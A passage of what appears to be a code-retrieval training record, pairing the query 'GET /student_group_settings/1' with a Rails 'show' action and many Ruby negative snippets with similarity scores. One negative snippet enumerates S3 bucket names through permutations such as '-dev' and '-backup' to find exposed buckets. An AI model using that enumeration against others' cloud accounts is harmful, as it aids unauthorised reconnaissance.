params[:import].eql?('util_contacts') ? utilities_path : contacts_path\n end\n end",
"def import \n Nyse.import(params[:file])\n redirect_to nyses_path, notice: \"Nyse Imported.\"\n end",
"def save_all\n return if @loading_data\n\n json_data = JSON.dump(@model.to_h)\n\n LocalStorage['volt-store'] = json_data\n end",
"def save_attached_files; end",
"def save_attached_files; end",
"def save\n load_cache\n\n all_classes_and_modules.each do |klass|\n save_class klass\n\n klass.each_method do |method|\n save_method klass, method\n end\n\n klass.each_attribute do |attribute|\n save_method klass, attribute\n end\n end\n\n all_files.each do |file|\n save_page file\n end\n\n save_cache\n end",
"def import\n att_file_name = File.join(@dir, \"attendance_ads_#{Time.now.year}_#{Time.now.month}_#{Time.now.day}.csv\")\n enr_file_name = File.join(@dir, \"enrollment_ads_#{Time.now.year}_#{Time.now.month}_#{Time.now.day}.csv\")\n ili_file_name = File.join(@dir, \"ili_ads_#{Time.now.year}_#{Time.now.month}_#{Time.now.day}.csv\")\n EnrollmentImporter.new(@enroll_file).import_csv unless @enroll_file.blank?\n AttendanceImporter.new(@attendance_file).import_csv unless @attendance_file.blank?\n IliImporter.new(@ili_file).import_csv unless @ili_file.blank?\n File.rename(@enroll_file, enr_file_name) unless @enroll_file.blank?\n File.rename(@attendance_file, att_file_name) unless @attendance_file.blank?\n File.rename(@ili_file, ili_file_name) unless @ili_file.blank?\n FileUtils.mv(enr_file_name, File.join(@dir, \"archive\")) unless @enroll_file.blank?\n FileUtils.mv(att_file_name, File.join(@dir, \"archive\")) unless @attendance_file.blank?\n FileUtils.mv(ili_file_name, File.join(@dir, \"archive\")) unless @ili_file.blank?\n end",
"def import\n Book.import(params[:file])\n redirect_to root_url, notice: \"Books Imported!\"\n end",
"def save\n end",
"def save\n end",
"def import_user_data\n @page_title = _('Import_user_data')\n @page_icon = 'excel.png'\n @users = User.find(:all, :conditions => \"temporary_id >= 0\")\n @devices = Device.find(:all, :conditions => \"temporary_id >= 0 AND name not like 'mor_server_%'\")\n end",
"def save_with_load\r\n @oksave = true\r\n save\r\n @oksave = nil\r\n end",
"def import\n filename = CsvUploadService.call(file: file, user: current_user)\n correlation_id = SecureRandom.uuid\n job_name = RegisterCheckerApi.register_job(filename, correlation_id)\n save_details_to_session(job_name, filename, correlation_id)\n redirect_to processing_upload_index_path\n end",
"def import\n log.debug(\"Importing from #{@location}\")\n id = File.basename(@location)\n record = storage_engine.get_by_id(id)\n raise MainControllerError, \"Cannot import a non-exist record\" if record.nil?\n record.whitelist = file_rw_manager.read(\"#{@location}/whitelist\")\n record.blacklist = file_rw_manager.read(\"#{@location}/blacklist\")\n record.qual = \"true\"\n record.auditor = @auditor\n storage_engine.update(record)\n log.info(\"Qualified record #{id} has been successfully imported\")\n end",
"def export\n\n end"
] |
[
"0.65545255",
"0.65448654",
"0.64288855",
"0.6326033",
"0.6077401",
"0.57662445",
"0.5729643",
"0.5699146",
"0.5698472",
"0.5693524",
"0.5611267",
"0.55770767",
"0.5536636",
"0.5534235",
"0.55309117",
"0.55278295",
"0.55110073",
"0.5507622",
"0.5486413",
"0.54754287",
"0.5439193",
"0.54373664",
"0.54319274",
"0.54319274",
"0.54319274",
"0.54319274",
"0.54215133",
"0.54215133",
"0.54215133",
"0.54215133",
"0.54215133",
"0.54215133",
"0.54215133",
"0.54215133",
"0.5419002",
"0.5409713",
"0.5384188",
"0.5384188",
"0.5384188",
"0.5369294",
"0.53655714",
"0.5364636",
"0.53600353",
"0.5354486",
"0.53537464",
"0.53517663",
"0.5351602",
"0.5337406",
"0.5326854",
"0.53108865",
"0.53038245",
"0.529907",
"0.529829",
"0.5286909",
"0.5278715",
"0.527457",
"0.52724636",
"0.5270919",
"0.52694863",
"0.5256842",
"0.525684",
"0.52452284",
"0.5241182",
"0.5235156",
"0.52350086",
"0.5231312",
"0.5229403",
"0.52282345",
"0.5220979",
"0.52181137",
"0.5214757",
"0.5214757",
"0.52146995",
"0.52112824",
"0.51989275",
"0.51974535",
"0.5197202",
"0.519297",
"0.51894706",
"0.51767606",
"0.5163772",
"0.515867",
"0.515867",
"0.5158609",
"0.5154314",
"0.5151236",
"0.51489514",
"0.51453555",
"0.5144034",
"0.5144034",
"0.5139079",
"0.5134307",
"0.51342744",
"0.5126849",
"0.5126849",
"0.51261413",
"0.5124766",
"0.51192385",
"0.51191384",
"0.5117391"
] |
0.6215836
|
4
|
TODO: probably not scalable & should spin off a job, so perhaps best driven externally, out of here completely
|
def attach_audio_file(path)
AttachAudioService.call(self, path)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def executor; end",
"def executor; end",
"def executor; end",
"def run() end",
"def reserve_and_run_one_job; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def in_parallel?; end",
"def running; end",
"def running; end",
"def queue_job; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def thread; end",
"def thread; end",
"def thread; end",
"def perform\n \n end",
"def perform; end",
"def perform; end",
"def run\n end",
"def get_results(in_progress)\nhostname2pid = {}\nin_progress.each { |pid, hostname|\n hostname2pid[hostname] = pid\n}\nissue_command_on_hosts(hostname2pid, 30){ |vp, pid| vp.get_results(pid) }\nend",
"def lock; end",
"def lock; end",
"def lock; end",
"def execute; end",
"def execute; end",
"def run(_); end",
"def run(_); end",
"def refork; end",
"def private; end",
"def work_pool; end",
"def run\n \n end",
"def run\n \n end",
"def post_process; end",
"def process\n end",
"def waiting; end",
"def waiting; end",
"def processor; end",
"def robin; end",
"def run_job\n end",
"def jobs\r\n end",
"def running?; end",
"def thread()\n #This is a stub, used for indexing\n end",
"def do_work\n end",
"def started; end",
"def run_job(job)\r\n @log = Logger.new(File.expand_path(\"#{Rails.root}/log/scraper_job.log\", __FILE__))\r\n @log.info(\"Job started\")\r\n \r\n # initial job parameters\r\n region_list = JSON.parse(self.target_region_list)\r\n days_to_gather = self.days_to_gather\r\n size_of_a_day = 86400 # epoch time units (86400 is equal to 24 hours)\r\n size_of_a_time_slice = 10800 # epoch time units (10800 is equal to 3 hours)\r\n \r\n # start gathering from the beginning of the current day\r\n initial_start_time = Time.new(Time.now.year, Time.now.month, Time.now.day).to_i\r\n number_of_time_slices = ((days_to_gather * size_of_a_day) / size_of_a_time_slice).to_i\r\n \r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > #{self.class} started (id:#{self.id})\")\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The Epoch Start Time: #{initial_start_time}\")\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The Formatted Start Time: #{Time.at(initial_start_time).strftime(\"%c\")}\")\r\n job.save\r\n \r\n # iterate each region\r\n region_list.each {|region_name,region_lookup| \r\n #validate a region exists\r\n region = Region.find_by name: region_name\r\n if region\r\n \r\n # run the channel scraper\r\n encoded_uri = URI.encode(\"https://www.foxtel.com.au/webepg/ws/foxtel/channels?regionId=\" + region_lookup)\r\n #job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The encoded URI for #{region_name} is #{encoded_uri}\")\r\n #job.save\r\n raw_channels_created = 0\r\n raw_channels_skipped = 0\r\n\r\n # access the file and the data_hash\r\n file = URI.parse(encoded_uri)\r\n get_file_count = 0\r\n begin\r\n data_hash = JSON.parse(file.read)\r\n rescue Errno::ECONNRESET => e\r\n get_file_count += 1\r\n retry unless get_file_count > 10\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Tried #{get_file_count} times and couldn't get #{file}: #{e}\")\r\n job.save\r\n @log.error(\"#{e.message}\")\r\n @log.error(\"#{e.backtrace}\")\r\n rescue OpenSSL::SSL::SSLError => e\r\n get_file_count += 1\r\n retry unless get_file_count > 10\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Tried #{get_file_count} times and couldn't get #{file}: #{e}\")\r\n job.save\r\n @log.error(\"#{e.message}\")\r\n @log.error(\"#{e.backtrace}\")\r\n end\r\n\r\n # populate an array of times from the data hash\r\n #@log.debug(\"#{data_hash.inspect}\") \r\n data_hash[\"channels\"].each {|channel_hash|\r\n #@log.debug(\"#{channel_hash.inspect}\")\r\n raw_channel = RawChannel.create_from_channel_hash(region, channel_hash)\r\n if raw_channel.new_record?\r\n raw_channels_skipped += 1\r\n else\r\n raw_channels_created += 1\r\n end\r\n }\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Raw Channels Created: #{raw_channels_created}, Skipped: #{raw_channels_skipped}, Total: #{raw_channels_skipped + raw_channels_created} for #{region_name}(#{region_lookup.to_s}).\")\r\n job.save\r\n \r\n # run the program scraper\r\n raw_programs_created = 0\r\n raw_programs_skipped = 0\r\n \r\n number_of_time_slices.times do |i|\r\n start_time = Time.at(initial_start_time + (i* size_of_a_time_slice))\r\n end_time = Time.at(start_time.to_i + size_of_a_time_slice)\r\n encoded_uri = URI.encode(\"https://www.foxtel.com.au/webepg/ws/foxtel/grid/events?startDate=\" + start_time.to_i.to_s + \"000&endDate=\" + end_time.to_i.to_s + \"000®ionId=\" + region_lookup)\r\n #job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The encoded URI is #{encoded_uri}\")\r\n #job.save\r\n \r\n # access the file and the data_hash\r\n file = URI.parse(encoded_uri)\r\n get_file_count = 0\r\n begin\r\n data_hash = JSON.parse(file.read)\r\n rescue Errno::ECONNRESET => e\r\n get_file_count += 1\r\n retry unless get_file_count > 10\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Tried #{get_file_count} times and couldn't get #{file}: #{e}\")\r\n job.save\r\n @log.error(\"#{e.message}\")\r\n @log.error(\"#{e.backtrace}\")\r\n rescue OpenSSL::SSL::SSLError => e\r\n get_file_count += 1\r\n retry unless get_file_count > 10\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Tried #{get_file_count} times and couldn't get #{file}: #{e}\")\r\n job.save\r\n @log.error(\"#{e.message}\")\r\n @log.error(\"#{e.backtrace}\")\r\n end\r\n \r\n # populate an array of times from the data hash\r\n #@log.debug(\"#{data_hash.inspect}\")\r\n data_hash[\"channelEventsByTag\"].each {|channel_events|\r\n #@log.debug(\"#{program_array.inspect}\")\r\n channel_tag = channel_events[0]\r\n channel = Channel.find_by_tag(channel_tag)\r\n raw_channel = RawChannel.find_by_channel_tag_and_region_name(channel_tag,region_name)\r\n if channel.nil? and raw_channel.nil?\r\n # no channel or raw channel\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The channel record and raw_channel record for #{channel_tag} in #{region_name} does not exist!\")\r\n job.save\r\n else\r\n # channel is ok\r\n array_of_channel_events = channel_events[1]\r\n #job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Processing #{array_of_channel_events.length} channel events for channel #{channel.name} for #{region_name}.\")\r\n #job.save \r\n array_of_channel_events.each { |channel_event|\r\n raw_program = RawProgram.create_from_channel_event(region, channel_tag, channel_event)\r\n if raw_program.new_record?\r\n raw_programs_skipped += 1\r\n else\r\n raw_programs_created += 1\r\n end \r\n } \r\n end\r\n }\r\n end\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Raw Programs Created #{raw_programs_created}, Skipped: #{raw_programs_skipped}, Total: #{raw_programs_created + raw_programs_skipped} for #{region_name}(#{region_lookup.to_s}).\")\r\n job.save\r\n else\r\n # no region\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The region record for #{region_name} does not exist!\")\r\n job.save\r\n end\r\n }\r\n \r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > #{self.class} completed (id:#{self.id})\")\r\n job.save\r\n \r\n @log.info(\"#{self.class} completed (id:#{self.id})\")\r\n return true\r\n end",
"def runs; end",
"def allow_concurrency; end",
"def allow_concurrency; end",
"def sleepy_run; end",
"def exec; end",
"def exec; end",
"def run_failed; end",
"def run\n end",
"def wait; end",
"def wait; end",
"def wait; end",
"def finished; end",
"def perform_io; end",
"def submit\n\n # resource requests\n if self.hard_requests != nil\n reqs = Array.new\n self.hard_requests.keys.each { |cplx| reqs << cplx.to_s + \"=\" + self.hard_requests[cplx].to_s }\n h_res_req = \"-hard -l \" + reqs * \",\"\n end\n\n if self.soft_requests != nil\n reqs = Array.new\n self.soft_requests.keys.each { |cplx| reqs << cplx.to_s + \"=\" + self.soft_requests[cplx].to_s }\n s_res_req = \"-soft -l \" + reqs * \",\"\n end\n\n # build our command-line arguments from our accessor info\n cmdargs = Array.new\n cmdargs << h_res_req if defined?(h_res_req)\n cmdargs << s_res_req if defined?(s_res_req)\n cmdargs << \"-j y\" if self.joinout == true\n cmdargs << \"-o #{self.outfile}\" if self.outfile != nil\n cmdargs << \"-e #{self.errfile}\" if self.errfile != nil\n cmdargs << \"-N #{self.job_name}\" if self.job_name != nil\n cmdargs << \"-cwd\" if self.cwd == true\n cmdargs << \"-wd #{self.wd}\" if self.wd != nil\n cmdargs << \"-q #{self.queue}\" if self.queue != nil\n cmdargs << \"-pe #{self.pe} #{self.pe_slots}\" if (self.pe != nil and self.pe_slots != nil)\n\n # TODO: Implement the rest of the switches as hash keys/options\n\n # we're going to submit a job\n (status,error) = execio \"sudo -u #{self.job_owner} qsub \" + cmdargs * \" \", self.script\n\n # check status\n if status.class == String and status.match(/^Your job(\\-array)* [0-9]+.*submitted$/)\n # TODO: :enumerate => :job is still acting funny. SGE XML is hard to predict\n jobs = RsgeJobs.new self.job_owner\n parse_job_by_id jobs.to_hash[status.match(/^Your job(\\-array)* ([0-9]+).*submitted$/)[2]]\n return 0 \n else\n raise RuntimeError, \"Job submission to SGE failed! => #{status} #{error}\"\n return nil\n end\n end",
"def done; end",
"def verify_job_complete(base_64_urn,access_token)\n Timeout::timeout(120) do # 2 min\n loop do\n response = RestClient.get(\"#{API_URL}/modelderivative/v2/designdata/#{base_64_urn}/manifest\",\n { Authorization: \"Bearer #{access_token}\"} )\n json = JSON.parse(response.body)\n p \"Translate file to SVF - status: #{json['status']}, progress: #{json['progress']}\"\n \n return response if json[\"progress\"]==\"complete\"\n sleep 1\n end\n end\n end",
"def queue; end",
"def queue; end",
"def process_new\n # each time a job is run then then a note is made that the owning user\n # has run a job. This is so we can get a count of jobs even if the user\n # deletes them\n user = User.find_by_email(self.email)\n if user.runs[\"#{self.type}\"].blank?\n user.runs[\"#{self.type}\"] = 1\n else\n user.runs[\"#{self.type}\"] += 1\n end\n user.save\n\n # get the input file, if it has not already been loaded\n begin\n if self.infile.nil? and !self.inputurl.nil?\n self.get_infile unless (self.type == 'durden' or self.type == 'identkey')\n end\n rescue\n self.jobfail(\"Could not get input file\",\"could not get input file\")\n return\n end\n\n # before processing the job, write a brief summary to the log of this job. It\n # should be csv: type,user,id,date\n logfile = \"#{Vibrant::Application.config.dropbox}/oboe_log_#{Rails.env}.txt\"\n begin\n open(logfile, 'a') do |f|\n f.puts \"#{self.type},#{self.email},#{self.id},#{self.created_at}\"\n end\n rescue\n Rails.logger.error(\"Could not write to logfile!\")\n end\n \n # having got the file, we can now commence the processing\n begin\n self.send(\"process_new_#{self.type}\")\n rescue\n self.update_attributes(:status =>'not yet available')\n end\n end",
"def parallelize_me!; end",
"def determine_loads_state\n\n loads = @marketo.loads(:user => GOODDATA_USER,\n :pass => GOODDATA_PASSWORD,\n :project => GOODDATA_PROJECT,\n :marketo_client => @marketo)\n\n if loads.available?\n\n file = loads.available.first\n load = loads.create :name => file\n\n load.execute\n\n # Data from the job can now be accessed ARRAY load.storage\n # load.storage\n\n # Increment the load by one day if it is time related.\n\n case load.json[:method]\n\n when 'get_changes'\n\n one_day = (24*60*60)\n oca = load.arguments[:oldest_created_at]\n lca = load.arguments[:latest_created_at]\n\n load.arguments[:oldest_created_at] = (Time.parse(oca) + one_day).to_s\n load.arguments[:latest_created_at] = (Time.parse(lca) + one_day).to_s\n\n # If the latest time is later then today kill the load.\n if Time.parse(lca) > Time.now\n\n load.terminate\n\n determine_loads_state\n\n # Otherwise save the load and resume additional loads.\n else\n\n load.save\n\n determine_loads_state\n\n end\n\n when 'get_multiple'\n\n determine_loads_state\n\n else\n raise 'Unable to determine lead type (\"get_multiple\"/\"get_changes\")!'\n\n end\n\n else\n\n load = @queue.pop\n loads.create load\n\n determine_loads_state\n\n end\n\nend",
"def worker_pool; end",
"def worker_pool; end",
"def sync() end",
"def sync() end",
"def sync() end",
"def io_lock; end",
"def run_list; end",
"def pausable; end",
"def command_queue; end",
"def run\n super\n\n bucket_name = _get_entity_name\n opt_use_file = _get_option(\"use_file\")\n opt_filename = _get_option(\"brute_file\")\n opt_additional_buckets = _get_option(\"additional_buckets\")\n opt_use_creds = _get_option(\"use_creds\")\n opt_threads = _get_option(\"threads\")\n opt_permute = _get_option(\"create_permutations\")\n\n if opt_use_file\n _log \"Using file: #{opt_filename}\"\n potential_buckets = File.read(\"#{$intrigue_basedir}/data/#{opt_filename}\").split(\"\\n\")\n else\n _log \"Using provided brute list\"\n potential_buckets = [bucket_name]\n end\n\n # add in any additional buckets to the list of potentials\n all_potential_buckets = potential_buckets.concat(opt_additional_buckets.split(\",\"))\n\n # Create our queue of work from the checks in brute_list\n work_q = Queue.new\n all_potential_buckets.each do |pb|\n work_q << pb.strip\n\n # Add permutations\n if opt_permute\n begin\n # AWS is case sensitive.\n # https://forums.aws.amazon.com/thread.jspa?threadID=19928\n first_letter_cap = \"#{pb.strip}\".slice(0,1).upcase + \"#{pb.strip}\".slice(1..-1)\n work_q << \"#{first_letter_cap}\" unless \"#{first_letter_cap}\" == \"#{pb.strip}\"\n work_q << \"#{pb.strip.upcase}\" unless \"#{pb.strip.upcase}\" == \"#{pb.strip}\"\n work_q << \"#{pb.strip.downcase}\" unless \"#{pb.strip.downcase}\" == \"#{pb.strip}\"\n\n # General development permutations\n work_q << \"#{pb.strip}-backup\"\n work_q << \"#{pb.strip}-beta\"\n work_q << \"#{pb.strip}-dev\"\n work_q << \"#{pb.strip}-development\"\n work_q << \"#{pb.strip}-eng\"\n work_q << \"#{pb.strip}-engineering\"\n work_q << \"#{pb.strip}-old\"\n work_q << \"#{pb.strip}-prod\"\n work_q << \"#{pb.strip}-qa\"\n work_q << \"#{pb.strip}-stage\"\n work_q << \"#{pb.strip}-staging\"\n work_q << \"#{pb.strip}-test\"\n work_q << \"#{pb.strip}-web\"\n work_q << \"backup-#{pb.strip}\"\n work_q << \"beta-#{pb.strip}\"\n work_q << \"dev-#{pb.strip}\"\n work_q << \"development-#{pb.strip}\"\n work_q << \"eng-#{pb.strip}\"\n work_q << \"engineering-#{pb.strip}\"\n work_q << \"old-#{pb.strip}\"\n work_q << \"prod-#{pb.strip}\"\n work_q << \"qa-#{pb.strip}\"\n work_q << \"stage-#{pb.strip}\"\n work_q << \"staging-#{pb.strip}\"\n work_q << \"test-#{pb.strip}\"\n work_q << \"web-#{pb.strip}\"\n rescue TypeError => e\n puts \"Unable to permute: #{pb}, failing\"\n end\n end\n\n end\n\n # Create a pool of worker threads to work on the queue\n workers = (0...opt_threads).map do\n Thread.new do\n begin\n while bucket_name = work_q.pop(true)\n\n #skip anything that isn't a real name\n next unless bucket_name && bucket_name.length > 0\n\n # Authenticated method\n if opt_use_creds\n\n access_key_id = _get_task_config \"aws_access_key_id\"\n secret_access_key = _get_task_config \"aws_secret_access_key\"\n\n unless access_key_id && secret_access_key\n _log_error \"FATAL! To scan with authentication, you must specify a aws_access_key_id aws_secret_access_key in the config!\"\n return\n end\n\n # Check for it, and get the contents\n Aws.config[:credentials] = Aws::Credentials.new(access_key_id, secret_access_key)\n exists = check_existence_authenticated(bucket_name)\n\n # create our entity and store the username with it\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => true,\n \"username\" => access_key_id\n }) if exists\n\n #########################\n # Unauthenticated check #\n #########################\n else\n\n s3_uri = \"https://#{bucket_name}.s3.amazonaws.com\"\n exists = check_existence_unauthenticated(s3_uri)\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => false\n }) if exists\n\n next if exists ## Only proceed if we got an error above (bucket exists!) !!!\n\n s3_uri = \"https://s3.amazonaws.com/#{bucket_name}\"\n exists = check_existence_unauthenticated(s3_uri)\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => false,\n }) if exists\n\n end # end if opt_use_creds\n\n\n end # end while\n rescue ThreadError\n end\n end\n end; \"ok\"\n workers.map(&:join); \"ok\"\n\n end",
"def runnables; end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def run\n end",
"def sync; end",
"def process_command\n puts \"# #{$0} #{@options.to_s}\" if @options.verbose\n # Get current time in epochs\n time = Time.now\n epochs = time.gmtime.to_i\n # Subtract seconds(obtained from minutes user ip) to go back in accounting file\n epochs = epochs - @seconds.to_i\n # Output file - set to STDOUT if @options.opfile not specified\n if @ofilename \n ofile = File.open(@ofilename, \"w\") \n else\n ofile = STDOUT\n end\n ofile << \"# Failed jobs for user #{@user} since last #{@options.since}\\n\" if @options.verbose\n ofile << \"# SGE Job ID,Job script name,Requested Memory,Used Memory,Requested run-time,Actual walltime\\n\" if @options.verbose\n count_failed_jobs = 0\n File.foreach(@afilename) do |aline| \n # Select lines that match following criteria: \n ## specified-username\n ## && (completed/end-time in last n minutes #{epochs})\n ## && (failed status is non-zero || exit status is non-zero)\n if aline !~ /#/\n aarray = aline.split(\":\")\n wallclock = aarray[10].to_i - aarray[9].to_i\n s_rt = aarray[39].slice(/(s_rt=)([\\d]+)/,2).to_i # get requested s_rt\n h_rt = aarray[39].slice(/(h_rt=)([\\d]+)/,2).to_i # get requested h_rt\n h_vmem = aarray[39].slice(/(h_vmem=)([[:alnum:]]+\\.?[[:alnum:]]+)/,2) # get requested h_vmem\n failure = wallclock.between?(s_rt,h_rt+2) ? \"Reached max. run-time limit #{seconds_to_units(h_rt)}\" : \"Reached max. memory limit #{h_vmem}\"\n if aarray[3]== @user && (aarray[10].to_i>=epochs) && (aarray[11]!='0' || aarray[12]!='0')\n #ofile << \"#{aarray[5]} #{epochs} #{aarray[10]} #{time}\\n\"\n ofile << \"#{aarray[5]},#{aarray[4]},#{h_vmem},#{aarray[42]},#{h_rt},#{wallclock},#{failure}\\n\"\n count_failed_jobs = count_failed_jobs + 1 \n end\n end\n end\n ofile << \"# #{count_failed_jobs} jobs failed for #{@user} in last #{@options.since}\\n\" if @options.verbose\n ofile.close\n # Close output file \n end",
"def strategy; end"
] |
[
"0.6825842",
"0.6825842",
"0.6825842",
"0.6406863",
"0.63516945",
"0.633992",
"0.633992",
"0.633992",
"0.633992",
"0.633992",
"0.633992",
"0.633992",
"0.633992",
"0.633992",
"0.6232038",
"0.62294865",
"0.62294865",
"0.61159366",
"0.6026119",
"0.6026119",
"0.6026119",
"0.6026119",
"0.6026119",
"0.6026119",
"0.6026119",
"0.6026119",
"0.5921589",
"0.5921589",
"0.5921589",
"0.5884641",
"0.58756775",
"0.58756775",
"0.58567744",
"0.5849494",
"0.5828149",
"0.5828149",
"0.5828149",
"0.5826875",
"0.5826875",
"0.58222485",
"0.58222485",
"0.58109885",
"0.5797963",
"0.5790012",
"0.57524174",
"0.57524174",
"0.57345635",
"0.5732933",
"0.5710803",
"0.5710803",
"0.5707595",
"0.5678641",
"0.5678113",
"0.56534356",
"0.5644651",
"0.5639835",
"0.5638189",
"0.5635041",
"0.5632174",
"0.56312704",
"0.5610081",
"0.5610081",
"0.5583386",
"0.5582114",
"0.5582114",
"0.5578413",
"0.5558771",
"0.55582035",
"0.55582035",
"0.55582035",
"0.5554755",
"0.5535443",
"0.5530057",
"0.5525579",
"0.55169725",
"0.55130094",
"0.55130094",
"0.5506161",
"0.54950285",
"0.5494425",
"0.54850304",
"0.54850304",
"0.5474891",
"0.5474891",
"0.5474891",
"0.5466245",
"0.5463045",
"0.5449315",
"0.54485124",
"0.54423267",
"0.54369897",
"0.5429355",
"0.5429355",
"0.5429355",
"0.5429355",
"0.5429355",
"0.5429355",
"0.5429355",
"0.5427423",
"0.54061705",
"0.53937185"
] |
0.0
|
-1
|
GET /student_group_settings/1 GET /student_group_settings/1.xml
|
def show
@student_group_setting = StudentGroupSetting.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @student_group_setting }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n\t@student_group_setting = StudentGroupSetting.new\n\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @student_group_setting }\n\tend\n end",
"def update\n\t@student_group_setting = StudentGroupSetting.find(params[:id])\n\n\trespond_to do |format|\n\t if @student_group_setting.update_attributes(params[:student_group_setting])\n\t\tformat.html { redirect_to(@student_group_setting, :notice => 'Student group setting was successfully updated.') }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @student_group_setting.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"def get_settings\n request :get, \"_settings\"\n end",
"def get_settings\n request :get, \"_settings\"\n end",
"def create\n\t@student_group_setting = StudentGroupSetting.new(params[:student_group_setting])\n\n\trespond_to do |format|\n\t if @student_group_setting.save\n\t\t#format.html { redirect_to(@student_group_setting, :notice => 'Student group setting was successfully created.') }\n\t\tformat.html { redirect_to(:controller=>:student_groups, :action=>'show', :id=>@student_group_setting.student_group_id, :notice => 'Student group setting was successfully created.') }\n\t\tformat.xml { render :xml => @student_group_setting, :status => :created, :location => @student_group_setting }\n\t else\n\t\tformat.html { render :action => \"new\" }\n\t\tformat.xml { render :xml => @student_group_setting.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"def show\n @student_group_rule = StudentGroupRule.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @student_group_rule }\n end\n end",
"def show\n\n @group_definition = GroupDefinition.find(params[:id])\n\n render :xml => @group_definition\n end",
"def show\n @global_account_setting = GlobalAccountSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @global_account_setting }\n end\n end",
"def destroy\n\t@student_group_setting = StudentGroupSetting.find(params[:id])\n\t@student_group_setting.destroy\n\n\trespond_to do |format|\n\t format.html { redirect_to(student_group_settings_url) }\n\t format.xml { head :ok }\n\tend\n end",
"def index\n\n @group_definitions = GroupDefinition.find(:all)\n\n render :xml => @group_definitions\n end",
"def index\n @student_defaulter_settings = StudentDefaulterSetting.all\n end",
"def show\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_group }\n end\n end",
"def show\n @network_setting = NetworkSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @network_setting }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def show\n @attribute_group = AttributeGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attribute_group }\n end\n end",
"def show\n @group_permission = GroupPermission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_permission }\n end\n end",
"def show\n @provider_group = ProviderGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @provider_group }\n end\n end",
"def index\n respond_to do |format|\n format.html { @groups = Group.get_groups(current_user, params) }\n format.xml { render :xml => Group.get_groups(params.merge({:show => 'all'})) }\n end\n end",
"def index\n respond_to do |format|\n format.html { @groups = Group.get_groups(current_user, params) }\n format.xml { render :xml => Group.get_groups(params.merge({:show => 'all'})) }\n end\n end",
"def index\n\n @groups = Group.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @network_settings = NetworkSetting.accessible_by( current_ability, :index ).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @network_settings }\n end\n end",
"def show\n @setting = Setting.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @setting.to_xml }\n end\n end",
"def index\n\n @user_groups = UserGroup.find(:all)\n\n respond_to do |format|\n format.html { redirect_to :controller => :groups, :action => :index }\n format.xml { render :xml => @user_groups }\n end\n end",
"def show\n @group_report = GroupReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_report }\n end\n end",
"def show\n @report_group = Irm::ReportGroup.multilingual.status_meaning.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report_group }\n end\n end",
"def index\n @user_groups = UserGroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_groups }\n end\n end",
